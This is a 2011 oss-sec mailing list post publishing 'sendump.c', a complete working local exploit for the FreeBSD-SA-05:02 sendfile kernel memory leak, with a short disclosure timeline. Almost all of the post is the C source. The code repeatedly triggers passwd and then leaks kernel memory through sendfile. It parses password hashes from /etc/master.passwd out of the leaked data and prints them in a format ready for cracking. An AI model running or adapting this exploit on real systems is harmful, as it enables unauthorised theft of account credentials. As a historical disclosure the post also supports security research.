oss-sec mailing list archives
6-year FreeBSD-SA-05:02.sendfile exploit
From: Solar Designer <solar () openwall com>
Date: Fri, 1 Apr 2011 22:00:12 +0400
Hi, This is almost 0-day. In a sense. I wrote this for a pentesting company. I found it ethically OK to do since the FreeBSD advisory was already out for a couple of weeks. It turns out I was not alone to write an exploit for this bug, and to publish the exploit this year. Timeline: 2005/04/04 - FreeBSD-SA-05:02.sendfile published: http://security.freebsd.org/advisories/FreeBSD-SA-05:02.sendfile.asc 2005/04/16 - reliable FreeBSD 4.x local exploit written ... 2005/04/21 - ... and updated to work on 5.x as well (up to 5.3) 2011/02/05 - Kingcope publishes "FreeBSD <= 5.4-RELEASE ftpd (Version 6.00LS) sendfile kernel mem-leak Exploit": http://seclists.org/fulldisclosure/2011/Feb/83 (By the way, the "<=" is wrong.) 2011/04/01 - Hey, that's today. --- sendump.c --- /* * sendump - FreeBSD-SA-05:02.sendfile exploit - 2005/04/16. * Updated for FreeBSD 5.x, added alternate hash types, added optional * relaxed pattern matching - 2005/04/21. * * This program is meant to be used in controlled environments only. * If found in the wild, please return to ... wait, this is public now, * and this program is hereby placed in the public domain. Feel free to * reuse parts of the source code, etc. * * Password hashes will be dumped to stdout as they're being obtained. * There may be duplicates. * * Debugging may be enabled with one to three "-d" flags. Debugging * information will be dumped to stderr and, for levels 2 and 3, to * the "dump" file. * * Relaxed pattern matching may be enabled with "-r". This increases * the likelihood of printing garbage while also making it more likely * to actually catch the hashes. * * There's some risk of this program crashing the (vulnerable) system, * although this is not intentional. Normally, the program just prints * password hashes from /etc/master.passwd in a format directly usable * with John the Ripper. * * Compile/link with "gcc -Wall -O2 -fomit-frame-pointer -s -lutil". * * Run this on a filesystem with soft-updates for best results. */ #include <sys/types.h> #include <sys/socket.h> #include <sys/uio.h> #include <sys/stat.h> #include <sys/wait.h> #include <netinet/in.h> #include <signal.h> #include <unistd.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <pwd.h> #include <errno.h> #include <assert.h> /* for forkpty(); will also need to link against -lutil */ #include <sys/ioctl.h> #include <termios.h> #include <libutil.h> #define Ki 1024 #define Mi (1024 * Ki) #define DUMP_NAME "dump" #define DUMMY_NAME "dummy" #define DUMMY_SIZE (128 * Mi) #define SOCKET_BUF (196 * Ki) #define DUMMY_RAND_BITS 4 #define DUMMY_RAND_MASK ((1 << DUMMY_RAND_BITS) - 1) #define MAX_LOGIN 16 #define MAX_GECOS 128 #define MAX_HOME 128 #define MAX_SHELL 128 static char itoa64[64] = "./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; static int debug = 0, relaxed = 0; static char buf[SOCKET_BUF]; static void pexit(char *what) { perror(what); exit(1); } static void write_loop(int fd, char *buf, int count) { int offset, block; offset = 0; while (count > 0) { block = write(fd, &buf[offset], count); if (block < 0) pexit("write"); if (!block) { fprintf(stderr, "write: Returned 0\n"); exit(1); } offset += block; count -= block; } } static void dump(char *buf, int count) { static int fd = -1; if (fd < 0) { fd = creat(DUMP_NAME, S_IRUSR | S_IWUSR); if (fd < 0) pexit("creat"); } write_loop(fd, buf, count); } static int nonzero(char *buf, int count) { char *p, *end; p = buf; end = buf + count; while (p < end) if (*p++) return 1; return 0; } static int search(char *buf, int count) { static char prevuser[MAX_LOGIN + 1], prevpass[61]; char *p, *q, *end; int n; char *user, *pass, *gecos, *home, *shell; struct passwd *pw; int found = 0; p = buf; end = buf + count; while (p < end && (p = memchr(p, '/', end - p))) { q = p++; if (q < buf + (1+1+1+13+2+0+1+1+1)) continue; shell = q; n = 0; while (q < end && *q++ > ' ') n++; if (n < 2 || n > MAX_SHELL) continue; if (q >= end || *q != '\0') continue; q = shell; if (*--q != '\0') continue; n = 0; while (q > buf && *--q > ' ') n++; if (n < 1 || n > MAX_HOME) continue; home = q + 1; if (!relaxed && *home != '/') continue; if (q < buf + (1+1+1+13+2+0+1)) continue; if (*q != '\0') continue; n = 0; while (q > buf && *--q >= ' ') n++; if (n > MAX_GECOS) continue; gecos = q + 1; if (q < buf + (1+1+1+13+2-1)) continue; if (*q != '\0') continue; n = 1; while (q > buf && *--q == '\0') n++; if (n != 2 || !memchr(itoa64, *q, 64)) { /* Doesn't look like FreeBSD 4.x, suspect 5.x */ if (*(q + n - 13) == '\0' && memchr(itoa64, *(q + n - 14), 64)) /* Looks like FreeBSD 5.x */ q += n - 14; else if (!relaxed) continue; } q++; n = 0; while (q > buf && memchr(itoa64, *--q, 64)) n++; switch (n) { case 22: /* MD5-based */ if (q < buf + (1+1+1+3+1+1-1)) continue; if (*q != '$') continue; n = 0; while (q > buf && memchr(itoa64, *--q, 64)) n++; if (n < 1 || n > 8) continue; if (q < buf + (1+1+1+3-1)) continue; if (*q != '$') continue; if (*--q != '1') continue; if (*--q != '$') continue; break; case 13: /* Traditional DES-based */ q++; break; case 53: /* bcrypt */ if (*q != '$') continue; q--; if (*q < '0' || *q > '9') continue; q--; if (*q < '0' || *q > '3') continue; if (*--q != '$') continue; if (*--q != 'a') continue; if (*--q != '2') continue; if (*--q != '$') continue; break; case 19: /* Extended DES-based */ if (*q == '_') break; default: continue; } pass = q; if (q < buf + (1+1+1)) continue; if (*--q == '*' && q >= buf + (1+1+1+8)) { q -= 7; if (memcmp(q, "*LOCKED", 7)) continue; pass = q; q--; } if (*q != '\0') continue; n = 0; while (q > buf && *--q >= '0') n++; if (n < 1 || n > MAX_LOGIN || q <= buf) continue; user = q + 1; pw = getpwnam(user); if (!relaxed && !pw) continue; found = 1; if (!strcmp(user, prevuser) && !strcmp(pass, prevpass)) continue; strcpy(prevuser, user); strcpy(prevpass, pass); if (pw) printf("%s:%s:%u:%u:%s:%s:%s\n", user, pass, pw->pw_uid, pw->pw_gid, gecos, home, shell); else printf("%s:%s:?:?:%s:%s:%s\n", user, pass, gecos, home, shell); } return found; } static void exec_passwd(void) { int tty, pid; switch ((pid = forkpty(&tty, NULL, NULL, NULL))) { case -1: pexit("forkpty"); case 0: execl("/usr/bin/passwd", "passwd", NULL); pexit("execl"); } write_loop(tty, "\n", 1); close(tty); if (kill(pid, SIGKILL) && errno != ESRCH) perror("kill"); if (waitpid(pid, NULL, 0) < 0) pexit("waitpid"); } static void usage(void) { extern char *__progname; fprintf(stderr, "Usage: %s [-d[d[d]]] [-r]\n", __progname); exit(1); } static void tune(int argc, char **argv) { int c; while ((c = getopt(argc, argv, "dr")) != -1) { switch (c) { case 'd': debug++; break; case 'r': relaxed++; break; default: usage(); } } if (argc != optind) usage(); } int main(int argc, char **argv) { int dummy, lin, in, out; int pid; struct sockaddr_in sin; socklen_t sin_length; int optval; off_t dummy_size; int count; tune(argc, argv); dummy = open(DUMMY_NAME, O_CREAT | O_TRUNC | O_RDWR, S_IRUSR | S_IWUSR); if (dummy < 0) pexit("open"); if (unlink(DUMMY_NAME)) pexit("unlink"); lin = socket(PF_INET, SOCK_STREAM, 0); if (lin < 0) pexit("socket"); if (listen(lin, 1)) pexit("listen"); sin_length = sizeof(sin); if (getsockname(lin, (struct sockaddr *)&sin, &sin_length)) pexit("getsockname"); assert(sin_length == sizeof(sin)); more: exec_passwd(); dummy_size = DUMMY_SIZE >> ((rand() >> 16) & DUMMY_RAND_MASK); if (ftruncate(dummy, dummy_size)) pexit("ftruncate"); switch ((pid = fork())) { case -1: pexit("fork"); case 0: out = socket(PF_INET, SOCK_STREAM, 0); if (out < 0) pexit("socket"); if (connect(out, (struct sockaddr *)&sin, sin_length)) pexit("connect"); if (sendfile(dummy, out, 0, DUMMY_SIZE, NULL, NULL, 0)) pexit("sendfile"); return 0; } in = accept(lin, NULL, NULL); if (in < 0) pexit("accept"); optval = SOCKET_BUF; if (setsockopt(in, SOL_SOCKET, SO_RCVBUF, &optval, sizeof(optval))) perror("setsockopt"); if (ftruncate(dummy, 0)) pexit("ftruncate"); do { count = read(in, buf, sizeof(buf)); if (count < 0) pexit("read"); if (debug >= 3) { if (nonzero(buf, count)) { fprintf(stderr, "NZ (%d)\n", count); dump(buf, count); search(buf, count); } else fprintf(stderr, "Z (%d)\n", count); } else { if (search(buf, count)) { if (debug) fputc('$', stderr); if (debug >= 2) dump(buf, count); } else if (debug) fputc(nonzero(buf, count) ? '+' : '-', stderr); } } while (count); if (debug) { if (debug < 3) fputc('|', stderr); else fputs("---\n", stderr); } if (kill(pid, SIGKILL) && errno != ESRCH) perror("kill"); if (waitpid(pid, NULL, 0) < 0) pexit("waitpid"); close(in); fflush(stdout); goto more; } --- Alexander
Current thread:
- 6-year FreeBSD-SA-05:02.sendfile exploit Solar Designer (Apr 01)